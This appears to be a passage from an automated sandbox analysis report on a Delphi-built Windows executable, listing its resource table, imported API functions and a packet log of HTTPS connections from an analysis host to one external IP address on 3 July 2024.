RT_BITMAP	0xdef6c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0xdf13c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xdf30c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0xdf4dc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xdf6ac	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0xdf794	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 32251 x 32251 px/m			0.5203900709219859
RT_ICON	0xdfbfc	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 32251 x 32251 px/m			0.3831967213114754
RT_ICON	0xe0584	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 32251 x 32251 px/m			0.28283302063789867
RT_ICON	0xe162c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 32251 x 32251 px/m			0.1725103734439834
RT_ICON	0xe3bd4	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 32251 x 32251 px/m			0.12086679263108172
RT_ICON	0xe7dfc	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736, resolution 32251 x 32251 px/m			0.10378927911275417
RT_ICON	0xed284	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 25600, resolution 32251 x 32251 px/m			0.07567669172932331
RT_ICON	0xf3a6c	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864, resolution 32251 x 32251 px/m			0.0758618877443767
RT_ICON	0xfcf14	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 32251 x 32251 px/m			0.05842600260262629
RT_DIALOG	0x10d73c	0x52	data			0.7682926829268293
RT_DIALOG	0x10d790	0x52	data			0.7560975609756098
RT_STRING	0x10d7e4	0x238	data			0.47183098591549294
RT_STRING	0x10da1c	0x2b0	data			0.4752906976744186
RT_STRING	0x10dccc	0xb8	data			0.6793478260869565
RT_STRING	0x10dd84	0xec	data			0.6398305084745762
RT_STRING	0x10de70	0x2f0	data			0.4587765957446808
RT_STRING	0x10e160	0x3d0	data			0.38729508196721313
RT_STRING	0x10e530	0x370	data			0.4022727272727273
RT_STRING	0x10e8a0	0x3cc	data			0.33539094650205764
RT_STRING	0x10ec6c	0x214	data			0.49624060150375937
RT_STRING	0x10ee80	0xcc	data			0.6274509803921569
RT_STRING	0x10ef4c	0x194	data			0.5643564356435643
RT_STRING	0x10f0e0	0x3c4	data			0.3288381742738589
RT_STRING	0x10f4a4	0x338	data			0.42961165048543687
RT_STRING	0x10f7dc	0x294	data			0.42424242424242425
RT_RCDATA	0x10fa70	0x10	data			1.5
RT_RCDATA	0x10fa80	0x2f4	data			0.7182539682539683
RT_RCDATA	0x10fd74	0xe8a	Delphi compiled form 'TFrmMain'			0.2729715206878023
RT_GROUP_CURSOR	0x110c00	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x110c14	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x110c28	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x110c3c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x110c50	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x110c64	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x110c78	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x110c8c	0x84	data			0.75

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, Polyline, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleW, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetComputerNameA, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumDateFormatsW, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
oleaut32.dll	GetErrorInfo, GetActiveObject, SysFreeString
ole32.dll	CoTaskMemFree, ProgIDFromCLSID, StringFromCLSID, CoCreateInstance, CoUninitialize, CoInitialize, IsEqualGUID
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 08:56:51.793132067 CEST	49699	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:51.793174982 CEST	443	49699	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:51.793339968 CEST	49699	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:51.794104099 CEST	49699	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:51.794162989 CEST	443	49699	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:51.794234037 CEST	49699	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:51.821772099 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:51.821822882 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:51.822025061 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:51.825172901 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:51.825196981 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.419399977 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.419517994 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.424365044 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.424402952 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.424691916 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.470138073 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.472295046 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.516499043 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.665379047 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.710131884 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.756146908 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.756156921 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.756253004 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.756263971 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.756297112 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.756308079 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.756342888 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.756361008 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.756387949 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.757154942 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.757164001 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.757195950 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.757231951 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.757242918 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.757268906 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.757287979 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.817102909 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.817141056 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.817245960 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.817260027 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.817302942 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.847836018 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.847861052 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.847937107 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.847945929 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.847985029 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.850290060 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.850308895 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.850361109 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.850372076 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.850409031 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.906007051 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.906033993 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.906124115 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.906151056 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.906191111 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.937242985 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.937273026 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.937464952 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.937484980 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.937546968 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.938410044 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.938425064 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.938471079 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.938477039 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.938509941 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.938525915 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.940213919 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.940232038 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.940295935 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.940301895 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.940340996 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.941360950 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.941380024 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.941431999 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.941437960 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.941472054 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.943172932 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.943190098 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.943242073 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.943247080 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.943284035 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.978974104 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.978996038 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.979084015 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.979096889 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.979135990 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.997581005 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.997601986 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.997695923 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:52.997714043 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:52.997760057 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.030977964 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.030997992 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.031085014 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.031092882 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.031136036 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.031440020 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.031456947 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.031501055 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.031507969 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.031560898 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.032418966 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.032433033 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.032491922 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.032500029 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.032535076 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.033233881 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.033250093 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.033304930 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.033312082 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.033351898 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.038846970 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.038862944 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.038923025 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.038933992 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.038970947 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.039571047 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.039587021 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.039630890 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.039638996 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.039676905 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.088181973 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.088207960 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.088298082 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.088310957 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.088361025 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.088654995 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.088696957 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.088716984 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.088722944 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.088752985 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.088768959 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.119347095 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.119364977 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.119438887 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.119450092 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.119489908 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.119704008 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.119719028 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.119752884 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.119759083 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.119802952 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.119822979 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.120291948 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.120342970 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.120352983 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.120358944 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.120436907 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.120436907 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.120857954 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.120872974 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.120923996 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.120933056 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.120969057 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.121536016 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.121588945 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.121594906 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.121607065 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.121651888 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.122219086 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.122237921 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.122287989 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.122293949 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.122328997 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.178788900 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.178808928 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.178881884 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.178893089 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.178935051 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.179186106 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.179200888 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.179256916 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.179263115 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.179299116 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.209991932 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.210011005 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.210088968 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.210102081 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.210141897 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.210640907 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.210681915 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.210705042 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.210711002 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.210747004 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.210763931 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.211066961 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.211081982 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.211137056 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.211143017 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.211180925 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.211702108 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.211716890 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.211769104 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.211775064 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.211813927 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.212455034 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.212470055 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.212518930 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.212527037 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.212564945 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.213130951 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.213161945 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.213182926 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.213188887 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.213213921 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.213228941 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.269503117 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.269522905 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.269608974 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.269618988 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.269664049 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.270097017 CEST	443	49700	108.170.55.202	192.168.2.7
